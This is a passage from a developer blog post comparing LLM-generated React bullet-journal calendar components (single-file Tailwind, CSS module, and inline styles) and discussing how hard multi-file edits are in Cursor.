            className="flex items-center gap-2 p-2 border border-gray-200 rounded-md"
          >
            <button
              onClick={() => {
                const nextStatus: Record<Task['status'], Task['status']> = {
                  todo: 'done',
                  done: 'migrated',
                  migrated: 'cancelled',
                  cancelled: 'todo',
                };
                updateTaskStatus(task.id, nextStatus[task.status]);
              }}
              className="focus:outline-none"
            >
              {getStatusIcon(task.status)}
            </button>
            <span
              className={`text-sm sm:text-base ${task.status === 'done' ? 'line-through text-gray-500' : ''}`}
            >
              {task.text}
            </span>
          </div>
        ))}
      </div>
    </div>
  );
}

User

use react and lucide-react to create an interface for a bullet-journal inspired calendar. output the react component with styles and a corresponding css module

Bullet Journal

152 collapsed lines
import {
  Calendar as CalendarIcon,
  CheckCircle2,
  Circle,
  Square,
  XCircle,
} from 'lucide-react';
import { useState } from 'react';
import styles from './ReactCalendarv1.module.css';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
};

type DayEntry = {
  date: Date;
  tasks: Task[];
};

export default function Calendar() {
  const [entries, setEntries] = useState<DayEntry[]>([]);
  const [selectedDate, setSelectedDate] = useState<Date>(new Date());
  const [newTask, setNewTask] = useState('');

  const addTask = () => {
    if (!newTask.trim()) return;

    setEntries((prev) => {
      const existingEntry = prev.find(
        (entry) => entry.date.toDateString() === selectedDate.toDateString()
      );

      if (existingEntry) {
        return prev.map((entry) =>
          entry.date.toDateString() === selectedDate.toDateString()
            ? {
                ...entry,
                tasks: [
                  ...entry.tasks,
                  {
                    id: crypto.randomUUID(),
                    text: newTask,
                    status: 'todo',
                  },
                ],
              }
            : entry
        );
      }

      return [
        ...prev,
        {
          date: selectedDate,
          tasks: [
            {
              id: crypto.randomUUID(),
              text: newTask,
              status: 'todo',
            },
          ],
        },
      ];
    });

    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setEntries((prev) =>
      prev.map((entry) => ({
        ...entry,
        tasks: entry.tasks.map((task) =>
          task.id === taskId ? { ...task, status } : task
        ),
      }))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return <Circle className={styles.icon} />;
      case 'done':
        return <CheckCircle2 className={styles.icon} />;
      case 'migrated':
        return <Square className={styles.icon} />;
      case 'cancelled':
        return <XCircle className={styles.icon} />;
    }
  };

  const currentEntry = entries.find(
    (entry) => entry.date.toDateString() === selectedDate.toDateString()
  );

  return (
    <div className={styles.container}>
      <div className={styles.header}>
        <CalendarIcon className={styles.calendarIcon} />
        <h1>Bullet Journal</h1>
      </div>

      <meta name="viewport" content="width=device-width, initial-scale=1.0" />

      <div className={styles.dateSelector}>
        <input
          type="date"
          value={selectedDate.toISOString().split('T')[0]}
          onChange={(e) => setSelectedDate(new Date(e.target.value))}
        />
      </div>

      <div className={styles.taskInput}>
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
        />
        <button onClick={addTask}>Add</button>
      </div>

      <div className={styles.taskList}>
        {currentEntry?.tasks.map((task) => (
          <div key={task.id} className={styles.task}>
            <button
              className={styles.statusButton}
              onClick={() => {
                const nextStatus: Record<Task['status'], Task['status']> = {
                  todo: 'done',
                  done: 'migrated',
                  migrated: 'cancelled',
                  cancelled: 'todo',
                };
                updateTaskStatus(task.id, nextStatus[task.status]);
              }}
            >
              {getStatusIcon(task.status)}
            </button>
            <span className={task.status === 'done' ? styles.completed : ''}>
              {task.text}
            </span>
          </div>
        ))}
      </div>
    </div>
  );
}

152 collapsed lines
import {
  Calendar as CalendarIcon,
  CheckCircle2,
  Circle,
  Square,
  XCircle,
} from 'lucide-react';
import { useState } from 'react';
import styles from './ReactCalendarv1.module.css';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
};

type DayEntry = {
  date: Date;
  tasks: Task[];
};

export default function Calendar() {
  const [entries, setEntries] = useState<DayEntry[]>([]);
  const [selectedDate, setSelectedDate] = useState<Date>(new Date());
  const [newTask, setNewTask] = useState('');

  const addTask = () => {
    if (!newTask.trim()) return;

    setEntries((prev) => {
      const existingEntry = prev.find(
        (entry) => entry.date.toDateString() === selectedDate.toDateString()
      );

      if (existingEntry) {
        return prev.map((entry) =>
          entry.date.toDateString() === selectedDate.toDateString()
            ? {
                ...entry,
                tasks: [
                  ...entry.tasks,
                  {
                    id: crypto.randomUUID(),
                    text: newTask,
                    status: 'todo',
                  },
                ],
              }
            : entry
        );
      }

      return [
        ...prev,
        {
          date: selectedDate,
          tasks: [
            {
              id: crypto.randomUUID(),
              text: newTask,
              status: 'todo',
            },
          ],
        },
      ];
    });

    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setEntries((prev) =>
      prev.map((entry) => ({
        ...entry,
        tasks: entry.tasks.map((task) =>
          task.id === taskId ? { ...task, status } : task
        ),
      }))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return <Circle className={styles.icon} />;
      case 'done':
        return <CheckCircle2 className={styles.icon} />;
      case 'migrated':
        return <Square className={styles.icon} />;
      case 'cancelled':
        return <XCircle className={styles.icon} />;
    }
  };

  const currentEntry = entries.find(
    (entry) => entry.date.toDateString() === selectedDate.toDateString()
  );

  return (
    <div className={styles.container}>
      <div className={styles.header}>
        <CalendarIcon className={styles.calendarIcon} />
        <h1>Bullet Journal</h1>
      </div>

      <meta name="viewport" content="width=device-width, initial-scale=1.0" />

      <div className={styles.dateSelector}>
        <input
          type="date"
          value={selectedDate.toISOString().split('T')[0]}
          onChange={(e) => setSelectedDate(new Date(e.target.value))}
        />
      </div>

      <div className={styles.taskInput}>
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
        />
        <button onClick={addTask}>Add</button>
      </div>

      <div className={styles.taskList}>
        {currentEntry?.tasks.map((task) => (
          <div key={task.id} className={styles.task}>
            <button
              className={styles.statusButton}
              onClick={() => {
                const nextStatus: Record<Task['status'], Task['status']> = {
                  todo: 'done',
                  done: 'migrated',
                  migrated: 'cancelled',
                  cancelled: 'todo',
                };
                updateTaskStatus(task.id, nextStatus[task.status]);
              }}
            >
              {getStatusIcon(task.status)}
            </button>
            <span className={task.status === 'done' ? styles.completed : ''}>
              {task.text}
            </span>
          </div>
        ))}
      </div>
    </div>
  );
}

Not much difference between these two from the user’s perspective. Pretty straightforward LLM UI output with lots of opportunities for improvement.

The former component exists entirely within a single .tsx file. The latter has the markup and style separated into .tsx and .css.module files.

Iterating on the Initial Design

Inevitably, we will want to make changes to the first iteration from the model. Let’s add a calendar component so we can see the number of tasks that have been input on each day.

User

update the component to add a calendar ui element. the calendar should display the count of the number of tasks and their types each day

Bullet Journal

235 collapsed lines
import {
  Calendar as CalendarIcon,
  CheckCircle2,
  Circle,
  Square,
  XCircle,
} from 'lucide-react';
import { useState } from 'react';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
};

type DayEntry = {
  date: Date;
  tasks: Task[];
};

export default function Calendar() {
  const [entries, setEntries] = useState<DayEntry[]>([]);
  const [selectedDate, setSelectedDate] = useState<Date>(new Date());
  const [newTask, setNewTask] = useState('');

  const addTask = () => {
    if (!newTask.trim()) return;

    setEntries((prev) => {
      const existingEntry = prev.find(
        (entry) => entry.date.toDateString() === selectedDate.toDateString()
      );

      if (existingEntry) {
        return prev.map((entry) =>
          entry.date.toDateString() === selectedDate.toDateString()
            ? {
                ...entry,
                tasks: [
                  ...entry.tasks,
                  {
                    id: crypto.randomUUID(),
                    text: newTask,
                    status: 'todo',
                  },
                ],
              }
            : entry
        );
      }

      return [
        ...prev,
        {
          date: selectedDate,
          tasks: [
            {
              id: crypto.randomUUID(),
              text: newTask,
              status: 'todo',
            },
          ],
        },
      ];
    });

    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setEntries((prev) =>
      prev.map((entry) => ({
        ...entry,
        tasks: entry.tasks.map((task) =>
          task.id === taskId ? { ...task, status } : task
        ),
      }))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return <Circle className="w-4 h-4 md:w-5 md:h-5 text-gray-600" />;
      case 'done':
        return (
          <CheckCircle2 className="w-4 h-4 md:w-5 md:h-5 text-green-600" />
        );
      case 'migrated':
        return <Square className="w-4 h-4 md:w-5 md:h-5 text-blue-600" />;
      case 'cancelled':
        return <XCircle className="w-4 h-4 md:w-5 md:h-5 text-red-600" />;
    }
  };

  const currentEntry = entries.find(
    (entry) => entry.date.toDateString() === selectedDate.toDateString()
  );

  const getDaysInMonth = (date: Date) => {
    const year = date.getFullYear();
    const month = date.getMonth();
    const firstDay = new Date(year, month, 1);
    const lastDay = new Date(year, month + 1, 0);
    const days = [];

    for (let i = 0; i < firstDay.getDay(); i++) {
      days.push(null);
    }

    for (let i = 1; i <= lastDay.getDate(); i++) {
      days.push(new Date(year, month, i));
    }

    return days;
  };

  const getTaskStats = (date: Date) => {
    const entry = entries.find(
      (e) => e.date.toDateString() === date.toDateString()
    );
    if (!entry) return null;

    const stats = {
      todo: 0,
      done: 0,
      migrated: 0,
      cancelled: 0,
    };

    entry.tasks.forEach((task) => {
      stats[task.status]++;
    });

    return stats;
  };

  return (
    <div className="w-full max-w-4xl mx-auto p-4 md:p-8 bg-white rounded-lg shadow-md">
      <div className="flex items-center gap-2 md:gap-4 mb-6 md:mb-8">
        <CalendarIcon className="w-5 h-5 md:w-6 md:h-6 text-gray-600" />
        <h1 className="text-xl md:text-2xl font-semibold text-gray-600">
          Bullet Journal
        </h1>
      </div>

      <div className="grid grid-cols-7 gap-1 mb-6 md:mb-8 text-center text-sm md:text-base">
        {['S', 'M', 'T', 'W', 'T', 'F', 'S'].map((day) => (
          <div key={day} className="font-semibold py-1 md:py-2">
            {day}
          </div>
        ))}
        {getDaysInMonth(selectedDate).map((date, i) => (
          <div
            key={i}
            className={`p-1 md:p-2 min-h-[60px] md:min-h-[100px] border ${date?.toDateString() === selectedDate.toDateString() ? 'border-blue-500' : 'border-gray-200'} rounded-md ${date ? 'cursor-pointer hover:bg-gray-50' : ''}`}
            onClick={() => date && setSelectedDate(date)}
          >
            {date && (
              <>
                <div className="text-right text-gray-600 text-xs md:text-base">
                  {date.getDate()}
                </div>
                {getTaskStats(date) && (
                  <div className="mt-1 text-[10px] md:text-xs space-y-0.5 md:space-y-1">
                    {Object.entries(getTaskStats(date)!).map(
                      ([status, count]) =>
                        count > 0 && (
                          <div
                            key={status}
                            className="flex items-center justify-between"
                          >
                            {getStatusIcon(status as Task['status'])}
                            <span>{count}</span>
                          </div>
                        )
                    )}
                  </div>
                )}
              </>
            )}
          </div>
        ))}
      </div>

      <div className="flex flex-col md:flex-row gap-2 md:gap-4 mb-6 md:mb-8">
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
          className="flex-1 px-3 md:px-4 py-2 text-sm md:text-base border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"
        />
        <button
          onClick={addTask}
          className="px-4 py-2 bg-blue-600 text-white text-sm md:text-base rounded-md hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500"
        >
          Add
        </button>
      </div>

      <div className="space-y-2">
        {currentEntry?.tasks.map((task) => (
          <div
            key={task.id}
            className="flex items-center gap-2 p-2 border border-gray-200 rounded-md text-sm md:text-base"
          >
            <button
              onClick={() => {
                const nextStatus: Record<Task['status'], Task['status']> = {
                  todo: 'done',
                  done: 'migrated',
                  migrated: 'cancelled',
                  cancelled: 'todo',
                };
                updateTaskStatus(task.id, nextStatus[task.status]);
              }}
              className="focus:outline-none"
            >
              {getStatusIcon(task.status)}
            </button>
            <span
              className={
                task.status === 'done' ? 'line-through text-gray-500' : ''
              }
            >
              {task.text}
            </span>
          </div>
        ))}
      </div>
    </div>
  );
}

235 collapsed lines
import {
  Calendar as CalendarIcon,
  CheckCircle2,
  Circle,
  Square,
  XCircle,
} from 'lucide-react';
import { useState } from 'react';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
};

type DayEntry = {
  date: Date;
  tasks: Task[];
};

export default function Calendar() {
  const [entries, setEntries] = useState<DayEntry[]>([]);
  const [selectedDate, setSelectedDate] = useState<Date>(new Date());
  const [newTask, setNewTask] = useState('');

  const addTask = () => {
    if (!newTask.trim()) return;

    setEntries((prev) => {
      const existingEntry = prev.find(
        (entry) => entry.date.toDateString() === selectedDate.toDateString()
      );

      if (existingEntry) {
        return prev.map((entry) =>
          entry.date.toDateString() === selectedDate.toDateString()
            ? {
                ...entry,
                tasks: [
                  ...entry.tasks,
                  {
                    id: crypto.randomUUID(),
                    text: newTask,
                    status: 'todo',
                  },
                ],
              }
            : entry
        );
      }

      return [
        ...prev,
        {
          date: selectedDate,
          tasks: [
            {
              id: crypto.randomUUID(),
              text: newTask,
              status: 'todo',
            },
          ],
        },
      ];
    });

    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setEntries((prev) =>
      prev.map((entry) => ({
        ...entry,
        tasks: entry.tasks.map((task) =>
          task.id === taskId ? { ...task, status } : task
        ),
      }))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return <Circle className="w-4 h-4 md:w-5 md:h-5 text-gray-600" />;
      case 'done':
        return (
          <CheckCircle2 className="w-4 h-4 md:w-5 md:h-5 text-green-600" />
        );
      case 'migrated':
        return <Square className="w-4 h-4 md:w-5 md:h-5 text-blue-600" />;
      case 'cancelled':
        return <XCircle className="w-4 h-4 md:w-5 md:h-5 text-red-600" />;
    }
  };

  const currentEntry = entries.find(
    (entry) => entry.date.toDateString() === selectedDate.toDateString()
  );

  const getDaysInMonth = (date: Date) => {
    const year = date.getFullYear();
    const month = date.getMonth();
    const firstDay = new Date(year, month, 1);
    const lastDay = new Date(year, month + 1, 0);
    const days = [];

    for (let i = 0; i < firstDay.getDay(); i++) {
      days.push(null);
    }

    for (let i = 1; i <= lastDay.getDate(); i++) {
      days.push(new Date(year, month, i));
    }

    return days;
  };

  const getTaskStats = (date: Date) => {
    const entry = entries.find(
      (e) => e.date.toDateString() === date.toDateString()
    );
    if (!entry) return null;

    const stats = {
      todo: 0,
      done: 0,
      migrated: 0,
      cancelled: 0,
    };

    entry.tasks.forEach((task) => {
      stats[task.status]++;
    });

    return stats;
  };

  return (
    <div className="w-full max-w-4xl mx-auto p-4 md:p-8 bg-white rounded-lg shadow-md">
      <div className="flex items-center gap-2 md:gap-4 mb-6 md:mb-8">
        <CalendarIcon className="w-5 h-5 md:w-6 md:h-6 text-gray-600" />
        <h1 className="text-xl md:text-2xl font-semibold text-gray-600">
          Bullet Journal
        </h1>
      </div>

      <div className="grid grid-cols-7 gap-1 mb-6 md:mb-8 text-center text-sm md:text-base">
        {['S', 'M', 'T', 'W', 'T', 'F', 'S'].map((day) => (
          <div key={day} className="font-semibold py-1 md:py-2">
            {day}
          </div>
        ))}
        {getDaysInMonth(selectedDate).map((date, i) => (
          <div
            key={i}
            className={`p-1 md:p-2 min-h-[60px] md:min-h-[100px] border ${date?.toDateString() === selectedDate.toDateString() ? 'border-blue-500' : 'border-gray-200'} rounded-md ${date ? 'cursor-pointer hover:bg-gray-50' : ''}`}
            onClick={() => date && setSelectedDate(date)}
          >
            {date && (
              <>
                <div className="text-right text-gray-600 text-xs md:text-base">
                  {date.getDate()}
                </div>
                {getTaskStats(date) && (
                  <div className="mt-1 text-[10px] md:text-xs space-y-0.5 md:space-y-1">
                    {Object.entries(getTaskStats(date)!).map(
                      ([status, count]) =>
                        count > 0 && (
                          <div
                            key={status}
                            className="flex items-center justify-between"
                          >
                            {getStatusIcon(status as Task['status'])}
                            <span>{count}</span>
                          </div>
                        )
                    )}
                  </div>
                )}
              </>
            )}
          </div>
        ))}
      </div>

      <div className="flex flex-col md:flex-row gap-2 md:gap-4 mb-6 md:mb-8">
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
          className="flex-1 px-3 md:px-4 py-2 text-sm md:text-base border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"
        />
        <button
          onClick={addTask}
          className="px-4 py-2 bg-blue-600 text-white text-sm md:text-base rounded-md hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500"
        >
          Add
        </button>
      </div>

      <div className="space-y-2">
        {currentEntry?.tasks.map((task) => (
          <div
            key={task.id}
            className="flex items-center gap-2 p-2 border border-gray-200 rounded-md text-sm md:text-base"
          >
            <button
              onClick={() => {
                const nextStatus: Record<Task['status'], Task['status']> = {
                  todo: 'done',
                  done: 'migrated',
                  migrated: 'cancelled',
                  cancelled: 'todo',
                };
                updateTaskStatus(task.id, nextStatus[task.status]);
              }}
              className="focus:outline-none"
            >
              {getStatusIcon(task.status)}
            </button>
            <span
              className={
                task.status === 'done' ? 'line-through text-gray-500' : ''
              }
            >
              {task.text}
            </span>
          </div>
        ))}
      </div>
    </div>
  );
}

The Multi-File Challenge

To do the same for our two-file approach, we now need to start thinking about what context we’re going to provide to the model. Ideally, we would generate diffs to the existing files, as this is one of the faster and more efficient ways we could make changes. There are many new tools available that can facilitate multi-file changes but needing to coordinate changes across multiple files adds complexity compared to the single-file approach. For simplicity, let’s send both files to the LLM and make the same ask (I’ll @-ref both files in Cursor in that chat, then send the same prompt from above).

Cursor outputs code like

// ... existing imports ...
import { eachDayOfInterval, endOfMonth, format, startOfMonth, isSameDay } from 'date-fns'

export default function Calendar() {
    // ... existing state ...

and

/* ... existing styles ... */

.calendar {
  display: grid;
  grid-template-columns: repeat(7, 1fr);
  gap: 4px;
  margin-bottom: 2rem;
}

so now I manually need to apply these changes (Cursor Pro has a model that supports one-click application of code changes from chat, but I’m trying to stick to just using the model for now).

Oh, and it looks like the model actually introduced new code using dependencies we don’t have installed

import {
  eachDayOfInterval,
  endOfMonth,
  format,
  isSameDay,
  startOfMonth,
} from 'date-fns';

This type of things (arguably a hallucination of sorts) happens a lot less when making changes in a single file. I hear you, it’s not a fair comparison: Tailwind in-file to CSS with a separate module file. Let’s put all the CSS styles in the same file then compare what it’s like to iterate.

User

use react and lucide-react to create an interface for a bullet-journal inspired calendar. output the react component with css styles all in one file

Bullet Journal

176 collapsed lines
import { CheckCircle2, Circle, Square, XCircle } from 'lucide-react';
import { useState } from 'react';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
};

const styles = {
  container: {
    maxWidth: '800px',
    margin: '1rem auto',
    padding: '1rem',
    width: '95%',
    backgroundColor: 'white',
    borderRadius: '8px',
    boxShadow: '0 2px 4px rgba(0,0,0,0.1)',
    '@media (min-width: 640px)': {
      margin: '2rem auto',
      padding: '2rem',
    },
  },
  header: {
    marginBottom: '2rem',
    textAlign: 'center' as const,
    fontSize: '1.25rem',
    fontWeight: 'bold',
    '@media (min-width: 640px)': {
      fontSize: '1.5rem',
    },
  },
  taskInput: {
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '0.5rem',
    marginBottom: '2rem',
    '@media (min-width: 640px)': {
      flexDirection: 'row' as const,
      gap: '1rem',
    },
  },
  input: {
    width: '100%',
    padding: '0.5rem',
    border: '1px solid #ddd',
    borderRadius: '4px',
    fontSize: '1rem',
  },
  button: {
    width: '100%',
    padding: '0.5rem 1rem',
    background: '#333',
    color: 'white',
    border: 'none',
    borderRadius: '4px',
    cursor: 'pointer',
    '@media (min-width: 640px)': {
      width: 'auto',
    },
  },
  taskList: {
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '0.5rem',
  },
  task: {
    display: 'flex',
    alignItems: 'center',
    gap: '0.5rem',
    padding: '0.5rem',
    border: '1px solid #eee',
    borderRadius: '4px',
    wordBreak: 'break-word' as const,
  },
  statusButton: {
    background: 'none',
    border: 'none',
    padding: 0,
    cursor: 'pointer',
    display: 'flex',
    alignItems: 'center',
    flexShrink: 0,
  },
};

export default function Calendar() {
  const [tasks, setTasks] = useState<Task[]>([]);
  const [newTask, setNewTask] = useState('');

  const addTask = () => {
    if (!newTask.trim()) return;

    setTasks((prev) => [
      ...prev,
      {
        id: crypto.randomUUID(),
        text: newTask,
        status: 'todo',
      },
    ]);
    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setTasks((prev) =>
      prev.map((task) => (task.id === taskId ? { ...task, status } : task))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return <Circle className="w-5 h-5" style={{ color: '#666' }} />;
      case 'done':
        return (
          <CheckCircle2 className="w-5 h-5" style={{ color: '#22c55e' }} />
        );
      case 'migrated':
        return <Square className="w-5 h-5" style={{ color: '#3b82f6' }} />;
      case 'cancelled':
        return <XCircle className="w-5 h-5" style={{ color: '#ef4444' }} />;
    }
  };

  return (
    <div style={styles.container}>
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <div style={styles.header}>Bullet Journal</div>

      <div style={styles.taskInput}>
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
          style={styles.input}
        />
        <button onClick={addTask} style={styles.button}>
          Add
        </button>
      </div>

      <div style={styles.taskList}>
        {tasks.map((task) => (
          <div key={task.id} style={styles.task}>
            <button
              onClick={() => {
                const nextStatus: Record<Task['status'], Task['status']> = {
                  todo: 'done',
                  done: 'migrated',
                  migrated: 'cancelled',
                  cancelled: 'todo',
                };
                updateTaskStatus(task.id, nextStatus[task.status]);
              }}
              style={styles.statusButton}
            >
              {getStatusIcon(task.status)}
            </button>
            <span
              style={
                task.status === 'done'
                  ? { textDecoration: 'line-through', color: '#999' }
                  : {}
              }
            >
              {task.text}
            </span>
          </div>
        ))}
      </div>
    </div>
  );
}

176 collapsed lines
import { CheckCircle2, Circle, Square, XCircle } from 'lucide-react';
import { useState } from 'react';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
};

const styles = {
  container: {
    maxWidth: '800px',
    margin: '1rem auto',
    padding: '1rem',
    width: '95%',
    backgroundColor: 'white',
    borderRadius: '8px',
    boxShadow: '0 2px 4px rgba(0,0,0,0.1)',
    '@media (min-width: 640px)': {
      margin: '2rem auto',
      padding: '2rem',
    },
  },
  header: {
    marginBottom: '2rem',
    textAlign: 'center' as const,
    fontSize: '1.25rem',
    fontWeight: 'bold',
    '@media (min-width: 640px)': {
      fontSize: '1.5rem',
    },
  },
  taskInput: {
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '0.5rem',
    marginBottom: '2rem',
    '@media (min-width: 640px)': {
      flexDirection: 'row' as const,
      gap: '1rem',
    },
  },
  input: {
    width: '100%',
    padding: '0.5rem',
    border: '1px solid #ddd',
    borderRadius: '4px',
    fontSize: '1rem',
  },
  button: {
    width: '100%',
    padding: '0.5rem 1rem',
    background: '#333',
    color: 'white',
    border: 'none',
    borderRadius: '4px',
    cursor: 'pointer',
    '@media (min-width: 640px)': {
      width: 'auto',
    },
  },
  taskList: {
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '0.5rem',
  },
  task: {
    display: 'flex',
    alignItems: 'center',
    gap: '0.5rem',
    padding: '0.5rem',
    border: '1px solid #eee',
    borderRadius: '4px',
    wordBreak: 'break-word' as const,
  },
  statusButton: {
    background: 'none',
    border: 'none',
    padding: 0,
    cursor: 'pointer',
    display: 'flex',
    alignItems: 'center',
    flexShrink: 0,
  },
};

export default function Calendar() {
  const [tasks, setTasks] = useState<Task[]>([]);
  const [newTask, setNewTask] = useState('');

  const addTask = () => {
    if (!newTask.trim()) return;

    setTasks((prev) => [
      ...prev,
      {
        id: crypto.randomUUID(),
        text: newTask,
        status: 'todo',
      },
    ]);
    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setTasks((prev) =>
      prev.map((task) => (task.id === taskId ? { ...task, status } : task))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return <Circle className="w-5 h-5" style={{ color: '#666' }} />;
      case 'done':
        return (
          <CheckCircle2 className="w-5 h-5" style={{ color: '#22c55e' }} />
        );
      case 'migrated':
        return <Square className="w-5 h-5" style={{ color: '#3b82f6' }} />;
      case 'cancelled':
        return <XCircle className="w-5 h-5" style={{ color: '#ef4444' }} />;
    }
  };

  return (
    <div style={styles.container}>
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <div style={styles.header}>Bullet Journal</div>

      <div style={styles.taskInput}>
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
          style={styles.input}
        />
        <button onClick={addTask} style={styles.button}>
          Add
        </button>
      </div>

      <div style={styles.taskList}>
        {tasks.map((task) => (
          <div key={task.id} style={styles.task}>
            <button
              onClick={() => {
                const nextStatus: Record<Task['status'], Task['status']> = {
                  todo: 'done',
                  done: 'migrated',
                  migrated: 'cancelled',
                  cancelled: 'todo',
                };
                updateTaskStatus(task.id, nextStatus[task.status]);
              }}
              style={styles.statusButton}
            >
              {getStatusIcon(task.status)}
            </button>
            <span
              style={
                task.status === 'done'
                  ? { textDecoration: 'line-through', color: '#999' }
                  : {}
              }
            >
              {task.text}
            </span>
          </div>
        ))}
      </div>
    </div>
  );
}

Now, let’s transform that single file with the second prompt

User

update the component to add a calendar ui element. the calendar should display the count of the number of tasks and their types each day

Bullet Journal

302 collapsed lines
import { CheckCircle2, Circle, Square, XCircle } from 'lucide-react';
import { useMemo, useState } from 'react';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
  date: string;
};

const styles = {
  container: {
    width: '100%',
    maxWidth: '90ch',
    margin: '0 auto',
    padding: '1rem',
    backgroundColor: 'white',
    borderRadius: '8px',
    boxShadow: '0 2px 4px rgba(0,0,0,0.1)',
    '@media (min-width: 640px)': {
      padding: '2rem',
    },
  },
  header: {
    marginBottom: '2rem',
    textAlign: 'center' as const,
    fontSize: '1.25rem',
    fontWeight: 'bold',
    '@media (min-width: 640px)': {
      fontSize: '1.5rem',
    },
  },
  taskInput: {
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '0.5rem',
    marginBottom: '2rem',
    '@media (min-width: 640px)': {
      gap: '1rem',
    },
  },
  input: {
    width: '100%',
    padding: '0.5rem',
    border: '1px solid #ddd',
    borderRadius: '4px',
    fontSize: '1rem',
  },
  button: {
    padding: '0.5rem 1rem',
    background: '#333',
    color: 'white',
    border: 'none',
    borderRadius: '4px',
    cursor: 'pointer',
    width: '100%',
    '@media (min-width: 640px)': {
      width: 'auto',
    },
  },
  taskList: {
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '0.5rem',
    marginBottom: '2rem',
  },
  task: {
    display: 'flex',
    alignItems: 'center',
    gap: '0.5rem',
    padding: '0.5rem',
    border: '1px solid #eee',
    borderRadius: '4px',
    wordBreak: 'break-word' as const,
  },
  statusButton: {
    background: 'none',
    border: 'none',
    padding: 0,
    cursor: 'pointer',
    display: 'flex',
    alignItems: 'center',
    flexShrink: 0,
  },
  calendar: {
    display: 'grid',
    gridTemplateColumns: 'repeat(7, 1fr)',
    gap: '2px',
    padding: '0.5rem',
    '@media (min-width: 640px)': {
      gap: '4px',
      padding: '1rem',
    },
  },
  calendarDay: {
    padding: '0.25rem',
    border: '1px solid #eee',
    borderRadius: '4px',
    minHeight: '60px',
    cursor: 'pointer',
    '@media (min-width: 640px)': {
      padding: '0.5rem',
      minHeight: '80px',
    },
  },
  dayHeader: {
    fontSize: '0.75rem',
    marginBottom: '0.25rem',
    color: '#666',
    '@media (min-width: 640px)': {
      fontSize: '0.875rem',
      marginBottom: '0.5rem',
    },
  },
  stats: {
    fontSize: '0.625rem',
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '1px',
    '@media (min-width: 640px)': {
      fontSize: '0.75rem',
      gap: '2px',
    },
  },
};

export default function Calendar() {
  const [tasks, setTasks] = useState<Task[]>([]);
  const [newTask, setNewTask] = useState('');
  const [selectedDate, setSelectedDate] = useState(
    new Date().toISOString().split('T')[0]
  );

  const addTask = () => {
    if (!newTask.trim()) return;

    setTasks((prev) => [
      ...prev,
      {
        id: crypto.randomUUID(),
        text: newTask,
        status: 'todo',
        date: selectedDate,
      },
    ]);
    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setTasks((prev) =>
      prev.map((task) => (task.id === taskId ? { ...task, status } : task))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return (
          <Circle className="w-4 h-4 sm:w-5 sm:h-5" style={{ color: '#666' }} />
        );
      case 'done':
        return (
          <CheckCircle2
            className="w-4 h-4 sm:w-5 sm:h-5"
            style={{ color: '#22c55e' }}
          />
        );
      case 'migrated':
        return (
          <Square
            className="w-4 h-4 sm:w-5 sm:h-5"
            style={{ color: '#3b82f6' }}
          />
        );
      case 'cancelled':
        return (
          <XCircle
            className="w-4 h-4 sm:w-5 sm:h-5"
            style={{ color: '#ef4444' }}
          />
        );
    }
  };

  const calendarDays = useMemo(() => {
    const today = new Date();
    const start = new Date(today.getFullYear(), today.getMonth(), 1);
    const end = new Date(today.getFullYear(), today.getMonth() + 1, 0);
    const days = [];

